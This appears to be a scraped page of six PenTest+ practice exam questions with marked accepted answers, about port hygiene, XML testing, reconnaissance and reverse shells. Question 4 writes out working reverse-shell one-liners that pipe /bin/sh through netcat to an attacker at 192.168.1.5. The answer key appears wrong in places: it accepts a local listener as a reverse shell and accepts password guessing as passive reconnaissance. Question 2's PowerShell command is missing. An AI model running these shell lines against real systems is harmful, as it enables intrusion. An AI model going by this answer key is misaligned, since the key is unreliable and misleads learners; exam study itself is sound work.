PT0-001 sample questions

Question 1

A penetration tester observes that several high-numbered ports are listening on a public web server. However, the system owner says the application only uses port 443.

Which ofthe following would be BEST to recommend?

Accepted Answer

Disable unneeded services.

Answer

Transition the application to another port.

Answer

Filter port 443 to specific IP addresses.

Answer

Implement a web application firewall.

Question 2

Consider the following PowerShell command: Which ofthe following BEST describes the actions performed by this command?

Accepted Answer

Execute a remote script.

Answer

Set the execution policy.

Answer

Run an encoded command.

Answer

Instantiate an object.

Question 3

A security assessor is attempting to craft specialized XML files to test the security of the parsing functions during ingest into a Windows application. Before beginning to test the application, which of the following should the assessor request from the organization?

Accepted Answer

An applicable XSD file

Answer

Sample SOAP messages

Answer

The REST API documentation

Answer

A protocol fuzzing utility

Question 4

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell backto the attacking machine at 192.168.1.5.

Which ofthefollowing are possible ways to do so? (Select TWO).

Accepted Answer

nc -nlvp 44444 -e /bin/sh

Accepted Answer

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/tmp/f

Answer

nc 192.168.1.5 44444

Answer

nc -e /bin/sh 192.168.1.5 44444

Answer

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2)1|nc 192.168.1.5 444444)/tmp/f

Answer

rm /tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh -i 2)1|nc 192.168.5.1 44444)/tmp/f

Question 5

A penetration tester has been assigned to perform an external penetration assessment ofa company.

Which ofthe following steps would BEST help with the passive-information-gathering process? (Choose two.)

Accepted Answer

Search social media for information technology employees who post information about the technologies they work with.

Accepted Answer

Identify the company’s external facing webmail application, enumerate user accounts and attempt password guessing to gain access.

Answer

Wait outside ofthe company’s building and attempt to tailgate behind an employee.

Answer

Perform a vulnerability scan against the company’s external netblock, identify exploitable vulnerabilities, and attempt to gain access.

Answer

Use domain and IP registry websites to identify the company’s external netblocks and external facing applications.

Question 6

A penetration tester has been asked to conduct a penetration test on a REST-based web service. Which ofthe following items is required?

Accepted Answer

A list of sample application requests

Answer

The latest vulnerability scan results

Answer

An up-to-date list of possible exploits

Answer

A list of sample test accounts

PenTest+ (v1) Practice Questions

Unlock the full exam and previous versions

Create an account to continue.

Create an account to continue.

Related exams